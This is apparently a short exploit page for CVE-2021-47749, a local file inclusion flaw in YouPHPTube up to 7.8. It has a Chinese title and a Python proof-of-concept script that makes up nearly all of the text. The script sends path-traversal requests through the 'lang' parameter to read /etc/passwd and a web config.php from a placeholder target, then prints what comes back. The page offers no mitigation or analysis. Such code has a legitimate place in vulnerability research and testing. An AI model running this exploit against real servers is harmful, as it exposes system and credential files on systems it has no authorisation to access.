CVE-2021-47749 YouPHPTube本地文件包含漏洞

import requests # CVE-2021-47749 PoC - YouPHPTube Local File Inclusion # Target: YouPHPTube <= 7.8 # Vulnerability: Path traversal in lang parameter via locale/function.php def exploit_lfi(target_url, filename): """ Exploit Local File Inclusion vulnerability Args: target_url: Base URL of YouPHPTube instance filename: File to read (e.g., ../../../../etc/passwd) """ # Construct malicious URL with path traversal payload = f"{target_url}/?lang=../../../../{filename}" try: response = requests.get(payload, timeout=10) if response.status_code == 200: print(f"[+] Successfully read: {filename}") print(response.text[:500]) return response.text else: print(f"[-] Failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None # Example usage if __name__ == "__main__": target = "http://target.com" # Replace with actual target # Read system file exploit_lfi(target, "etc/passwd") # Read configuration file exploit_lfi(target, "var/www/html/config.php")